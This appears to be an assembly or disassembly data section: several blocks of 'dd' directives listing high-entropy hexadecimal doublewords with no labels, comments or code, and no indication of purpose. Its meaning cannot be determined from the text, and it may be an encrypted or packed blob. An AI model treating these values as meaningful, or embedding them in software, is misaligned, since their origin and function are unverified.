dd 303295EDh, 0E7341E9Dh, 0AAFE852Ah, 85CDB37Dh, 0CA41027h
dd 3D1291F0h, 0E6D562E3h, 11E12784h, 0AA816564h, 0FF1EC5CDh
dd 8B403BA0h, 7C9DB3B2h, 7B482C69h, 0F3823F40h, 576937F6h
dd 4F41C9EEh, 224ECFB6h, 0A20A7B59h, 92A01B0Bh, 517AEFAh
dd 90248284h, 0FCD3D5F5h, 0C97379E2h, 30342795h, 6F487CCCh
dd 0F97B1B1Ch, 5501723Dh, 20F57E8Dh, 31EEE23Eh, 853A5D45h
dd 1F935CC6h, 91D64B5Ah, 5F249123h, 0CBA31456h, 81EE562h
dd 93269810h, 0E5145F3Dh, 94F33BEh, 6410E610h, 38B73194h
dd 7A957733h, 3D73FCDDh, 0AE29538Fh, 43473DEAh, 0F8EFECDh
dd 40270F41h, 36299212h, 18AB08A5h, 1B2D2CE5h, 448C1CEFh
dd 0E8590CEAh, 0EEB30CD8h, 0E22706E4h, 2D58F8D1h, 6607C5AEh
dd 0EED2C0B1h, 387B3A15h, 7E7064C6h, 9A6E6CCAh, 263D8C87h
dd 0FE70B1C3h, 1240A6F2h, 7B631E2Fh, 722280F3h, 0D304370h
dd 0D5F40122h, 0D35922Eh, 3CDAFE9Fh, 0B7DB5642h, 8F52F9EFh
dd 0B82EE36Dh, 0A38DD01h, 33DC12DFh, 6F3FB30h, 69726F1Ch
dd 98A98B86h, 44D300C5h, 0FCFFC6C5h, 6A8B9083h, 0E8A4C4A2h
dd 3C442F7Ch, 89C4CB4Fh, 811220ECh, 25ACDB22h, 85CBBBAFh
dd 0F8296375h, 66C7F2A6h, 0FF30DC79h, 0A6E3BED2h, 2B300591h
dd 8F38118Ah, 4DD00386h, 0BE3391C7h, 0A1186D4Dh, 729CEEF2h
dd 52F150C4h, 4315E278h, 16DC400Ch, 0BCB51235h, 0AF40FF5Ah
dd 7CBC6A18h, 0A2F6E4Eh, 3DEE8B7Ch, 8E742B5Fh, 9312486Ch
dd 0AFD5895Ch, 97D9CD42h, 8F929EB5h, 23EAFAB0h, 363DC719h
dd 16740CD7h, 0A0DFCB9Ah, 1A70F66Ch, 7AB65040h, 0C7A43EF4h
dd 0BB2AC2D6h, 0FDBE2D6Fh, 50A767DDh, 1DE6339Bh, 0C6F1DCE0h
dd 43BC028Fh, 0B16E40F3h, 2EB805D4h, 2BDEDF9Ah, 692751B9h
dd 0CA98D824h, 8388FC1Bh, 9D14BF8Dh, 318D9677h, 4DAD5469h
dd 1F8143E0h, 9FF12B06h, 52DCD650h, 0DE9ED457h, 0CC6264DAh
dd 51FB3FDAh, 79E86822h, 6FB317D5h, 3BB32EB2h, 670F63F3h
dd 0B17E78F1h, 4EF4632Dh, 844772BAh, 0F6CC7269h, 0E95075C6h
dd 0E7E47DDAh, 0EF6BDEC9h, 4FB313BCh, 0D97CA159h, 8166ED9Ch
dd 0A7C53981h, 0F5F858DCh, 4D35F24Eh, 31A13975h, 8E4CC961h
dd 0E6830E53h, 1295DD0Ch, 71CC2A27h, 3DB0D408h, 0E61B9A11h
dd 0FB2D9D4Bh, 61397B89h, 52C7ABE6h, 787D9F4Dh, 66DB154Bh
dd 908914A1h, 2203B287h, 0CA8486FEh, 708B5020h, 3005E3AAh
dd 0A05181E8h, 5C4ABEF8h, 0CCC2592Eh, 6E402C10h, 445986EFh
dd 0C8FE363Bh, 2F712C1h, 2F3632CCh, 0A2CFBDE7h, 29B04443h
dd 0A11A008Ah, 1F2058DEh, 8CDDCDD7h, 0E92EFD68h, 7808DD4Eh
dd 430D7A2Dh, 1B7EA945h, 1DD78A75h, 0F74FBF1Fh, 0DC4F100Ah
dd 90B07445h, 0F6E6799Dh, 0D77E6604h, 907AF28Bh, 9274665Ah
dd 0EC2B7B99h, 36BBCF4Fh, 687EE51Ch, 8904D8B6h, 2DB8ABBEh
dd 0BD31738Eh, 10BC5A11h, 0BC5D352Fh, 1F41AD3Ch, 3EF141E5h
dd 0ACDCA543h, 0F22AFBE4h, 0AC114D4Eh, 0F28FB6B6h, 1B1F2D0Eh
dd 46C0F2FFh, 76D153D4h, 0E42F74B2h, 4DED33Ah, 0CFDAD8E9h
dd 437100D9h, 15FB554Bh, 350D4832h, 8937762Bh, 0E8ECBA8h
dd 0E6A19CCBh, 699968Eh, 0F09CE063h, 0B173C1A8h, 8B26C9C9h
dd 7D1CEDA9h, 0E6D6A438h, 0B98BA3E9h, 30C5965h, 0DE0348EDh
dd 0FCA7B36Dh, 40DAD474h, 0F4FCB83h, 94607C09h, 768100D4h
dd 0DCB3A610h, 0AA464789h, 1E24556h, 9BFC378h, 0F8DA8AD0h
dd 0AF47688Fh, 4875F3B8h, 3F4D19F6h, 6F36F78Ah, 0A7C48E73h
dd 92EE2A11h, 836FA31Dh, 1266175Eh, 26ACBE17h, 28065F2Eh
dd 4BE88F3Eh, 0FC68B4D9h, 0BD5B0EA9h, 0AFA6E510h, 0C38020D3h
dd 0E3FB7F32h, 0F790A28Fh, 0CA506D38h, 0F91922D1h, 93ACCC26h
dd 6BE33444h, 3DEE2C39h, 0BE92C545h, 0A6EDAACCh, 0AB5BAB11h
dd 4218AFBEh, 33C4B316h, 0BF80A08Dh, 0D7B0C6EDh, 747200DEh
dd 12D4DB1Ch, 0FBFBA68Ch, 0B0E71E3Ch, 0F5E2509Eh, 3671D4E0h
dd 0F441C5ACh, 70A6CFEAh, 2D4C1AB4h, 0B2E06917h, 1484478Fh
dd 0C9882159h, 0DC485A51h, 9EFC1E49h, 28AD0B91h, 0CE26B1BDh
dd 0E57543A8h, 7E7EE5E2h, 0F0EDCFD3h, 0C58D63BCh, 0B9056471h
dd 0E9BCEEA5h, 0DE8E0F57h, 9515C3FDh, 48651CDDh, 434A4FF2h
dd 0F1E3544h, 885AEDE0h, 6138E93h, 716FF948h, 0BDEF9DDAh
dd 3FF8CAE9h, 44DCFA64h, 273CB0h, 7397A4FBh, 49799768h
dd 899FA9DCh, 0A5477EB3h, 93D7FC7h, 54E04F99h, 0B218CF3Bh
dd 0F4F472E6h, 0A4D5FF0Bh, 0CD0EB68Fh, 6A01829Ah, 0B3A2FAEAh
dd 12439335h, 260A228Dh, 76BE1D84h, 7D626726h, 857DCEE2h
dd 0FFFD2595h, 551B06E7h, 4669F27Bh, 664B1795h, 35E09BE6h
dd 7E359BE4h, 732982C3h, 49336565h, 3E66BB49h, 0C4077DFEh
dd 0C7AB73C7h, 0B9312BABh, 0A8E04217h, 0F60CC1CDh, 49075981h
dd 11E586FDh, 5B7F818Bh, 16398E86h, 38E9DEEh, 24348E52h
dd 880F0751h, 0CC84D84Ah, 2B219A60h, 0CC9ED33Fh, 0B0AFA397h
dd 0E2EA5EC0h, 18067FD6h, 8948F084h, 6681DD0Bh, 0EE9BA71Ch
dd 2354523Ah, 449F0C81h, 8E645971h, 5F1E0FA5h, 5055AB47h
dd 0EC0D5EB9h, 0BDC21652h, 8FBED9B7h, 0EEB92EE9h, 83576F1Fh
dd 0DFF9C8Bh, 0FC3AA9A1h, 3CA2B50Bh, 6D4DA253h, 7AB1F8C1h
dd 0D48719A4h, 0CE66BBCDh, 0B3045B2h, 9362F7A6h, 0A29D3D33h
dd 1159BDB9h, 0F7BAEDFDh, 0CE830594h, 3BA25A2Dh, 7062DF17h
dd 1DFCBFEFh, 8E26BA48h, 0BF34B21Bh, 0E643FBBFh, 0ED53021Ch
dd 9242A1BBh, 0D535F18Fh, 0DFB4BBEEh, 5E14E03Bh, 12D10C8Dh
dd 50EF17A2h, 4719B3FCh, 0FF64B101h, 30B2AEB0h, 7BC91335h
dd 5C27E25Bh, 0C09F0922h
dd 1465D541h, 65CDAB34h, 4ABFF0ADh, 2641AAAh, 412DFD6Dh
dd 0E2A4E12Fh, 23A4AC17h, 0E71F9933h, 274654BFh, 8CFF8E1Eh
dd 5A91F831h, 82197852h, 3AB0CDC3h, 0EAA15E14h, 0A41F95B5h
dd 1F2E670h, 480AE436h, 0F3AF2FDFh, 12E09267h, 0C8DB8626h
dd 5498DA45h, 8C8A1AEFh, 8369E97Ah, 0D8812777h, 6903E1ACh
dd 747D629Ch, 12CF1E36h, 3E818912h, 6ECF7863h, 5A183512h
dd 0A9071E96h, 9D6D4DA9h, 2177F101h, 0E61B9678h, 0F2731326h
dd 30A8921Fh, 0FAF483CEh, 6D35A1F4h, 1326F05Ch, 9FFCB79Ah
dd 8D4BDF30h, 3E3C5613h, 0E3244144h, 0D6E4BA60h, 995BA540h
dd 0A08F54Bh, 0B87EA6A2h, 0E05D7AECh, 31675CDh, 7FF7DA69h
dd 59CBFF9Eh, 1A865EDh, 0D259CBB1h, 0E85FBCF1h, 4AF61B0Bh
dd 1B88274Ah, 66E7BF8Dh, 0B217164Fh, 1D48464h, 0DA082F65h
dd 34FBB0E8h, 6288AC07h, 0D4462D33h, 3E244A66h, 4EBFDDC9h
dd 0CDA8FAC8h, 140A67A1h, 39154EB2h, 0B3633644h, 0B90182FAh
dd 0EE852471h, 6CF99A07h, 35EC4304h, 0D5C67366h, 32FC6A5Ch
dd 98495CE1h, 0F1AEEC6Bh, 0A0622D7Fh, 0AE7CE676h, 0D9DB5E37h
dd 9E91385Ah, 752A8D84h, 1B096205h, 26F988EBh, 0BA38FA47h
dd 1E239524h, 0E6B8A0C9h, 7A3E35Ah, 6B249182h, 0D6C195A2h
dd 6298B27Ch, 0D030D9Ah, 20009E3h, 810FEA7Fh, 0D989D58Ah
dd 0FD076DE0h, 0D024390Fh, 630C039Dh, 0B51E3938h, 1C45CA20h
dd 0EB1A69A6h, 0E56ECCFFh, 0AF84198Ch, 0F41DC34Eh, 65ADA10Ah
dd 1F56C45Bh, 0AE91D29Dh, 3D122AEDh, 0CF9ECCC8h, 0E340C5A6h
dd 0F2C233A3h, 3A0400FAh, 0EA048F3h, 85700AF8h, 0B6CC7AA3h
dd 0A685A5AEh, 67D1ACBDh, 0B8A5C892h, 0FF171CCDh, 24300A32h
dd 1CB080BAh, 0A8D5B3EEh, 0D169441Ah, 8DCEE3F4h, 0BA19B10Dh
dd 2952C9B1h, 9DF309AEh, 0D32B8850h, 0F394F9B5h, 4B43D6F6h
dd 0FC75FF35h, 96EE0B43h, 7C894A27h, 0EFC8E5C2h, 4C2455EEh
dd 5A86B9B7h, 26A94FAEh, 0E4B2C361h, 0C5A56C5h, 0CFCB87DBh
dd 95D3242Dh, 0F96DA58Eh, 78B9DA70h, 0DE127E66h, 24391CBDh
dd 556F6357h, 6A3121FEh, 0F8698DAFh, 43CB3622h, 0ACACCE0Ch
dd 0F0E86873h, 487B3BB0h, 4A883F54h, 0CC3D12E4h, 90B46E5Dh
dd 4D7DECC2h, 9337A609h, 0B86D4A86h, 5C437F60h, 8B3A2368h
dd 0C934EB1Dh, 0CBE1FDDAh, 3EAC732Bh, 6478AE6Eh, 41D908F6h
dd 63DC29BAh, 2445B7F1h, 98203B50h, 4C40066Ch, 2F6D4CF0h
dd 5085854h, 0B6E0348Fh, 2819809Ah, 8C36647Ch, 6B134502h
dd 0C7B40F36h, 0F3D59DC6h, 1EE17F1Eh, 3CE69639h, 286B97D7h
dd 0A3B777F7h, 4F5AD771h, 8A493E89h, 0D8830324h, 27DCA36Dh
dd 9FC6B61Dh, 0F46F17Fh, 8935BAD0h, 1084C52h, 4433BAF2h
dd 424377BAh, 5CD4A743h, 78412CB8h, 5BB61CD2h, 5BA337FCh
dd 0FECE12DBh, 2AD957Eh, 4FA27261h, 6AFE38A5h, 7F581E76h
dd 68502B1Ah, 0F3FA77D8h, 54798035h, 3F233F8h, 6D166A8Dh
dd 645DC038h, 2D1AC55Eh, 3AF00C2Ah, 0D43DEB46h, 0A3B8F203h
dd 93E61517h, 0E676C467h, 4838BBDEh, 6AC3667Fh, 0E4D4C69h
dd 3B28FC00h, 3A26E1E4h, 62C9906h, 366F8C88h, 0E2D9F9A3h
dd 3C66183Eh, 99BE6872h, 0F8B0C2CCh, 2FFE5CD6h, 2203B859h
dd 0EAB65458h, 8845A3E3h, 9EB579F3h, 0E2F76BEAh, 77C5BE7Bh
dd 0FC0BD979h, 0E20F6E8Fh, 21E2539Bh, 27494A91h, 0BF64A212h
dd 94F96D25h, 1E9CD902h, 86991615h, 0BFDBA221h, 0EBB6C2DBh
dd 456A8890h, 8B450C74h, 2E4EB1BDh, 697F9C8h, 0E4F2EF09h
dd 1E855135h, 7F0E8116h, 7A9A7EC2h, 2E5E3E71h, 908ABA7Ch
dd 4EBC302Ah, 81FB1C43h, 2364A3CEh, 0F4EC0AD4h, 0B4B453D3h
dd 2D46BD1Ch, 0BD274DCAh, 66F0C558h, 859446F6h, 8B377D1Eh
dd 290F05Dh, 0C67423B6h, 52975C48h, 0A1E584ECh, 0CA426AB0h
dd 0F10A921Fh, 279F8FEDh, 0FBA43C2Dh, 0F0F06479h, 0BE0E735Eh
dd 5CD3B1D4h, 0E3FE1E21h, 72B7F914h, 9FFC2AF2h, 0F0F3643Eh
dd 7A43BAC3h, 9EBBE2D1h, 9CF29B43h, 1E769675h, 6A931ED2h
dd 45617825h, 0E71AE3CEh, 0E5929921h, 3E63734Dh, 0B587E5Dh
dd 984A2DAFh, 284BF61Ch, 0B034FCDFh, 50AEB021h, 4939F5BCh
dd 70B0FC33h, 0D7035A1h, 56FE735Fh, 0D643DE16h, 0DCE0231Eh
dd 0B0CEB4B4h, 8BF9DD5Fh, 6412958Eh, 362B5288h, 67C26501h
dd 47B61C6Ch, 0C1F107A2h, 73AF2730h, 98FE7AFEh, 1E32F0F2h
dd 0FEC8FE9Ch, 50AF0C16h, 0E5425861h, 7099E871h, 4F86A9F9h
dd 0A257C8F1h, 0A8610420h, 71843E00h, 0ADC0BCBBh, 0E026FF45h
dd 3E9DB16Bh, 5721FF80h, 5A1BC7D7h, 0A7D8262Eh, 3FD04575h
dd 2028C391h, 4DB458CAh, 0BCE9F798h, 35A9783Ah, 860E0DC8h
dd 0A4E169F3h, 3FB4A656h, 72D18912h, 28FBBEDAh, 8D263087h
dd 0DFE61DA7h, 5CCF9699h, 0DA14C8C3h, 0DCD5E4DFh, 630C9C6Dh
dd 24E2911Fh, 47EAF25Eh, 0A7C5C08Bh, 8E052537h, 1B7F0EC1h
dd 0B092FB7Ah, 59A10034h, 9EFB5BBBh, 3F4E92CFh, 0D1598617h
dd 0ED5CE4E0h, 0BBCBB78Bh, 0F772F344h, 0A51C7848h, 0F507437Ah
dd 3BF2F783h, 34240377h, 8F18686h, 0E3C7A2ACh, 375D9AC8h
dd 58982648h, 19538361h, 565ECAE3h, 0C7567652h, 0C9D3A226h
dd 681FBD22h, 0D0C9CAACh, 7EE0CC89h, 0AF8AC488h, 0DE022AF7h
dd 98D1B524h, 84A1E758h, 0C5C75997h, 986EB4DCh, 33BF1C35h
dd 1C4BF83Ch, 0DF1E990h, 0AAC3E802h, 373747F6h, 0DB82C092h
dd 0CD84F04Ch, 6936BD8Fh, 0F08DE6Bh, 0EFA38BD0h, 2B4ECA1Eh
dd 0D65E39B6h, 6E350D98h, 1A9D492Eh, 4EB740B6h, 89176784h
dd 42E89FA4h, 5CB4BDD6h, 0FED22BCBh, 5F9A4238h, 96BB5049h
dd 7E497D3Dh, 227792F7h, 0D616620Ah, 0D36EAE08h, 2A570C7Ch
dd 0FE869E50h, 90A4855Fh, 246E679Fh, 42079029h, 858FF426h
dd 83FAC569h, 0A7036557h, 1CEB4343h, 35797C0Ch, 0E5543899h
dd 56C51C13h, 2907145Dh, 89B521F2h, 312A7661h, 24991076h
dd 695057A8h, 5B958184h, 0ECB26DF4h, 0A151E3D3h, 1253BB21h
dd 7E412C8Eh, 6C7534D6h, 3A861983h, 6278E678h, 7010D224h
dd 408C45ABh, 99209D75h, 3126C640h, 0C525A0EFh, 0AB75CCF4h
dd 362F6389h, 81615FA9h, 4B282020h, 0C3D74C6Ch, 316AE84Dh
dd 35D76146h, 0B0606E4Dh, 70482050h, 3030DF2Bh, 691C5F3Bh
dd 2F53BCF0h, 109A3530h, 356D98A4h, 11A5D582h, 0CF2566BDh
dd 0F601E12Dh, 0A8E8B068h, 85559733h, 0E350C80Ch, 0CEA06DB2h
dd 2E1DB7CDh, 0DA5569EEh, 9A29CBC7h, 0C4A5B140h, 0B159C096h
dd 82E48C95h, 0D2C0C5Dh, 51A7E295h, 6DBD43ABh, 0E2DEF448h
dd 7F8191BDh, 39C5FDB5h, 77710C9Bh, 9F7F6382h, 0E53D8F72h
dd 66535F8Dh, 0B058F67Dh, 94F6D8BFh, 0D66CAEE9h, 0FC9D400Ah
dd 0A08AC741h, 64F90CDFh, 0D327BD60h, 0A867A345h, 8B838582h
dd 21E4EEDFh, 5FD622Dh, 5BA9398h, 1150524Dh, 419F868Ch
dd 48684EC5h, 56E814E6h, 8D24EC65h, 5A2CFC7Eh, 527138B7h
dd 5CC0810Fh, 0DCC2411Dh, 82BD1DF7h, 0A05A6102h, 0DE34FB1h
dd 4CF642BDh, 79EAE4F0h, 0A152DFC2h, 62B57AA3h, 0BD54FD7Eh
dd 8EAEF94Bh, 0F3EE25C8h, 2266499Dh, 0ADCEFC22h, 0C98C5307h
dd 3653AA83h, 67E645C3h, 0ECE92AD2h, 0E42DF4EFh, 91ABDF7h
dd 75F4A687h, 0B3A37B45h, 80D4F9E2h, 0B736DDC7h, 4E81B4Bh
dd 0FD435F6h, 60737424h, 168C345Eh, 429B6CCBh, 83C878h
dd 85FAE9BEh, 6EFAA543h
dd 81090802h, 0AFE6DD45h, 4FF4AC10h, 0E254D349h, 0E3531DACh
dd 9CE565FDh, 0B836C565h, 1E508576h, 0A62052D1h, 4AC6F54Bh
dd 2133731Dh, 0A350CBCAh, 26D8A74Eh, 49B1BBE4h, 6FC5A65Dh
dd 9047427Ch, 5A1AB820h, 0E9ED5A0Bh, 0A3296330h, 7877955Bh
dd 5E5C3F6Dh, 0F17FDEEDh, 549B16Ah, 82110D07h, 5EF61730h
dd 3FCEE8EBh, 8EAAEDA7h, 5085A6FBh, 800849F9h, 0E8D4A499h
dd 4D07D2B9h, 0B1202287h, 0FEA1057Ch, 556198A8h, 4C515284h
dd 3EC0FF18h, 65E21453h, 0AB36F8FFh, 39EF6866h, 6C23E6BCh
dd 9D5003E3h, 2ADCF575h, 7A6FE35Fh, 7083EAF9h, 0AC82A821h
dd 74630555h, 0AC45F311h, 818482CDh, 0E9453D38h, 0E4B8FF68h
dd 0FCD88EC3h, 79C8C0Bh, 0C6090932h, 38EB2D04h, 42EC716Ch
dd 0E91D4AB6h, 105E366h, 0F1E43A8h, 5DCBBB05h, 8AA468E4h
dd 0D878954Fh, 1D9BA01h, 4D81FC59h, 8659FCACh, 0FEE0639Dh
dd 38196DAEh, 0BFABC66Eh, 0AD3A33D3h, 3F7C2431h, 0D7E1A98Dh
dd 9233361Ch, 857308BEh, 0AE753DB8h, 0E25884E2h, 0BC4CD72Bh
dd 9BEF8C37h, 304A33EFh, 9ED4A617h, 6ED350EEh, 0A3168B16h
dd 287B5FC9h, 67D38390h, 3CF0717Fh, 2C5A788h, 0A15C8A42h
dd 0ED1C6AF2h, 7287E59Fh, 68A44A4Bh, 9E334C30h, 74C13658h
dd 4CF62EA9h, 0CAD30733h, 1352C90Eh, 0B9D36774h, 36109405h
dd 5693E69Fh, 6D47BC0Bh, 0C293AC73h, 2A0DA328h, 0EEEF762Bh
dd 778AA0Fh, 6C08E220h, 368A30F9h, 0D28EC2B9h, 56603EC9h
dd 56DD8B01h, 0D4D1A80Fh, 5A98AEDCh, 2D01A7Ch, 0E611468Ch
dd 9AE00851h, 0C9A24F64h, 213E0D7Fh, 247E6A56h, 2165FFAEh
dd 4700A83Bh, 516AF6DEh, 0A25C94F9h, 7A196CB9h, 320BBEDAh
dd 2191BC49h, 6939819Dh, 0F7D30C9Eh, 7986F677h, 0B3FCE1Bh
dd 4FA858Ah, 0BA907B99h, 54A60972h, 1D93B95Eh, 0B93F9931h
dd 0AA77F380h, 0D1B6B74Dh, 0A33876EEh, 44BDFEF2h, 328C6A4Ch
dd 0B4929DEBh, 532389F3h, 0E5632334h, 7FEB6ECDh, 0D788F98Eh
dd 93D99877h, 0DD1E7AAh, 577D69AEh, 10E59942h, 0EC740A2Fh
dd 0F5AD0833h, 7E790905h, 0BA8D68FCh, 0E97B6BB3h, 6253ACBEh
dd 7F952FBFh, 0E46300DCh, 0DAB69280h, 0D6CB88BEh, 7342CAC4h
dd 0C77B03C9h, 0E702D7EEh, 389A6A95h, 30E8A33Fh, 69C9BC3h
dd 0C9619EB0h, 0DC723CEDh, 0A68DA3A0h, 63711BA1h, 847C5A80h
dd 0FAF1A728h, 0F3D8A766h, 0BB3CCB88h, 0BE48AF18h, 93B9A8E4h
dd 2CDCCC1Ah, 6F631255h, 0AB3E5A5h, 0E6FC2B86h, 0DCC5F349h
dd 0D4479E39h, 79D6B7FAh, 55626040h, 0FF72B321h, 3785FE46h
dd 8E2E025Bh, 40DB9B55h, 0C509201Ah, 5593038Bh, 0F75648C6h
dd 0D3EAD19Fh, 0C449F5BAh, 0A6E4B354h, 0DAA6F612h, 0B96E48B3h
dd 9EB20444h, 0F278DB05h, 0A3FC1ACDh, 0A8EA0140h, 7AA06E66h
dd 788FE25Eh, 0E9BE3E52h, 9075889Eh, 0B5D0655Dh, 52D24F45h
dd 9811DE5Ah, 8599F496h, 8EDB6108h, 91406F7h, 4BB67788h
dd 0A3B12A8Ch, 1C20E634h, 0C77A9446h, 8077BEFDh, 0C7F9F47h
dd 7E7EB243h, 0A28B58BBh, 0FDFEC4B4h, 0A7B71200h, 2D6F3071h
dd 24024573h, 38028ADAh, 6AD6D33Fh, 0ECFE11D7h, 5A02301Fh
dd 687D6A26h, 94A6CE09h, 51826AF2h, 97B070h, 9B2A4B6h
dd 0B2374164h, 7CE4EFCFh, 0A3532FA5h, 0E5C26D87h, 0B677635Bh
dd 458BD0EAh, 8B1E385Dh, 0B4273728h, 360F7FC1h, 0FF2606F4h
dd 4B3872A7h, 25B6E6CFh, 1DC40C3h, 45187DF4h, 0E0ADDD57h
dd 0AA720417h, 0F676751h, 0A83270B8h, 666F2C98h, 652D7004h
dd 806A75A3h, 0F371B91Dh, 0F781F3EFh, 4686E6E8h, 0FA8FF77Ah
dd 177DB407h, 0BBA7FB00h, 9BC99EABh, 2A32BC7Bh, 564E86A4h
dd 7079E8C3h, 0C1851CB6h, 5846ABC9h, 938390D0h, 92DDAA41h
dd 780F2B58h, 204AD712h, 0BDBBE8A6h, 428004D7h, 0F35288E2h
dd 0E9329CE1h, 0C04DEC3Ch, 11ED7760h, 0FCB7B2F7h, 0B87446F1h
dd 0E837A5D3h, 0B5428537h, 693F7B49h, 0BBDAB65Ah, 0B81BA43Eh
dd 0B2E9F74Dh, 0C90BF22Eh, 0C112902Bh, 0AB6EBB79h, 9C751AD7h
dd 85503C5Eh, 0E32018F4h, 7506E0A8h, 93A065C7h, 9A192779h
dd 365BA7F1h, 0A387977Dh, 9A135FD6h, 63B338B1h, 2BA0139h
dd 61D1D9EBh, 0AA9280F1h, 78568584h, 0B89B5C68h, 9ACCF0CCh
dd 0E004AD1Ch, 0B8648567h, 84275138h, 147E3E6Ah, 0D0D50D98h
dd 67B8CC51h, 939D6C57h, 43EA4132h, 0FA7293ABh, 4649EDF8h
dd 6B5E5B49h, 0CB61C826h, 309FAE1h, 25C31A21h, 6A42EB41h
dd 9415DC9Eh, 93AB2F12h, 0CED5BCBBh, 0EDEB1C42h, 0C2D98A07h
dd 0B88C3575h, 0CDC50A6Ah, 0ABAF0279h, 0DC999570h, 4BB81424h
dd 9DFFC192h, 2CCBC51Eh, 0B024CC04h, 0E6AAE9B4h, 77C99751h
dd 2B1108CDh, 0E29DB050h, 33690DDEh, 0CE324AD2h, 520BCC23h
dd 0CFC361Eh, 0E63D4CCEh, 7B66B803h, 18CE344Ch, 84CDC78Ah
dd 0B751E8FFh, 0BD09C67Ch, 595E97CFh, 94BF2E33h, 5447D1F7h
dd 9F3B758Bh, 0A60CFCA3h, 0E8512CECh, 0ECB9E03Dh, 4E17FA8h
dd 0C32213D4h, 8AC47FA1h, 6F04AB5Bh, 725521A5h, 79DE4685h
dd 90DA9531h, 2EC2282Fh, 917E7E72h, 0B97B2985h, 0A768FC4Eh
dd 5FED1347h, 8301F7FBh, 1A2DBCB7h, 0BB0F136h, 0CC58D51Dh
dd 7A292A1Ah, 0B09CF37Bh, 2ED0A425h, 7D38C1AEh, 3D971479h
dd 0DF6E1502h, 30C0FB9Fh, 0E4D0CC72h, 0DDB80D80h, 47B5876Dh
dd 781AE319h, 0ADFEF770h, 0EC069EA9h, 6CD2D55Bh, 0CC8B65h
dd 0E79D3659h, 2837630Fh, 884F29FDh, 99B7E869h, 0ED460128h
dd 7AF504B6h, 5C6EB752h, 31BFA43Ch, 0B9E0CF33h, 8B05A513h
dd 4B9D7F9h, 6FFF0EBh, 0FB6CCF1Ch, 496BC7FFh, 494D4C7Ch
dd 8E660D3Ch, 0B6B27B5Fh, 0FC5E7A79h, 0E15DBFBh, 24BD981Bh
dd 23773E9Ah, 7738A1D4h, 731DEE2Eh, 0C1D68FAAh, 568B5BD8h
dd 5F98739Bh, 1BBAA56Ah, 687935C4h, 0B861AAB2h, 64EB994Bh
dd 2F503B16h, 0EDF8CF74h, 0A0C7471Ch, 9D1FBCABh, 0E86C6F2Dh
dd 144D30D0h, 654499A9h, 0B31AE08Dh, 0E1995B27h, 8BA9D764h
dd 735BFFE3h, 7F178447h, 0DCCE1119h, 83BE4530h, 0B1D092E8h
dd 637D5D2Dh, 244E68EBh, 71521CE6h, 0E09A2A6Ah, 4CED32E7h
dd 7F794943h, 4F0317F4h, 6ED83F4h, 406ECC26h, 0B34E537Ah
dd 68D42EE3h, 0CB773821h, 0FA4B5B8Bh, 5D8B127Ah, 0CCB7F50h
dd 1D372915h, 0FF3B98D5h, 0A14BBFC9h, 200A384Eh, 0BB745B91h
dd 1707D4C5h, 6016801h, 9EA23EACh, 37F090D0h, 8FC5E491h
dd 28EDEDB5h, 8A8DD62Fh, 0FA707F24h, 0F1ACB4A2h, 6451173Ch
dd 0EF3A2A81h, 0FAD4B2C2h, 0BB72767Ah, 4642D7CDh, 9FE6849Fh
dd 8DEF2C57h, 0D883B8E3h, 0C7608FECh, 71183370h, 0D4A73050h
dd 0F789D8D7h, 2F0DD708h, 52DF687Ah, 0A1048C38h, 0C3F4FE7Fh
dd 981E37E8h, 74715179h, 0DBB13C96h, 9C142FE1h, 29D2400h
dd 3E240FF8h, 0AEE72F10h, 9A9B838Eh, 0AA6EAD75h, 70CBC722h
dd 39BB6BD8h, 43343AB9h, 5B3A5DC1h, 0E2DD2DC8h, 0CCA3C044h
dd 1D34E26Ch, 2E408CA2h, 0BD3B54D3h, 1D021EC3h, 0E0D86A9Ch
dd 7D973A9h, 0A17C4EE5h, 0BB9ECC08h, 6FAEE4E3h, 1A6561FFh
dd 0DA8E20B4h, 0CF47A87Bh, 1B47B0D4h, 3FB77F45h, 20AEDFB0h
dd 81D68DCEh, 2373C55Dh, 0E20F70DCh, 13E5C223h, 0F9DE222Bh
dd 9BFD1494h, 9DD3C9FFh, 81AD40DEh, 0DD2D4D02h, 5644FAF0h
dd 67DC4B3Ah, 0B71DAFF3h, 182550F5h, 0EFF71151h, 0CFD37B8Ah
dd 985D2EB3h, 0A3AF877Bh
dd 52DA4C11h, 86ED9442h, 833F33BEh, 0C787396Bh, 0FBFF8BE7h
dd 0B2069D32h, 4FA751CAh, 0F598B533h, 24344791h, 0A1C808FBh
dd 4198EF1Eh, 4100742Dh, 1234854Dh, 0C74B47B7h, 9871C8F4h
dd 9EF62671h, 903C338Fh, 2B86A7C6h, 1C34047Eh, 15A21CDEh
dd 0F797C5F7h, 4C1EADBCh, 0BC9A2F6Fh, 83F52126h, 0CC19F543h
dd 0E9AD2AA1h, 21494DDBh, 0F9A71199h, 0B956E3A4h, 547FBBA3h
dd 46A22257h, 0D060C458h, 53115416h, 0F077744Dh, 546432D9h
dd 0C1FA2C82h, 0F96C1477h, 0C13D8AE5h, 61C96765h, 424A925Bh
dd 0CC54CCAAh, 0C8744E5Fh, 694B087Ah, 760F153Dh, 0AD605E33h
dd 0DACAD4FDh, 5C9FAB29h, 54288048h, 8DCBB755h, 5670728Dh
dd 84803486h, 4EAFEBEAh, 4256EFCCh, 4226688Ch, 0EECDDC06h
dd 0AC5077C4h, 0E7823F9Ch, 0D0855DFh, 61939862h, 0CCFD36B8h
dd 0FE992603h, 0F2B45266h, 9050EAFDh, 0BB286964h, 70617BA6h
dd 203D9057h, 53740BC9h, 87284507h, 0A4622CB4h, 0F4CA9B4Ah
dd 0C4E110FBh, 9BE6F7FAh, 0B70A5C0Eh, 5DC1B6B4h, 0B324E48Ch
dd 1F1ED526h, 7608B40Bh, 7A274BEDh, 0EC8D8CA4h, 65A60E46h
dd 574F0687h, 1E82305Fh, 0AC6B888Bh, 4D57AB61h, 15860878h
dd 0AD0C9F55h, 977A9BD1h, 4CC2E82Ah, 0D7F33EA4h, 0EBC2CE9Dh
dd 0CBE1FDEBh, 0DF45440h, 173C0C99h, 0F4A6978Eh, 0DEF012E3h
dd 9462DD21h, 8FAC8365h, 5ED3A88Dh, 41D2092Bh, 287E9C3Ch
dd 248C530Fh, 0E127A0EBh, 0EB9FACD1h, 4B99D906h, 66390B9Eh
dd 0D1E2501Fh, 8681B37Bh, 66812FF4h, 0DCB5C52Bh, 0DDB925B5h
dd 0A1499C8Ch, 7E8CB23Ah, 0E02E2C8Eh, 46FC15DCh, 0D2C548DFh
dd 0D3F84A7Eh, 4CEB7340h, 0DA58F20Eh, 0FF1931EBh, 3DDF0006h
dd 0AB654ACEh, 2709DA79h, 3182F24Fh, 4B56044Eh, 22775E63h
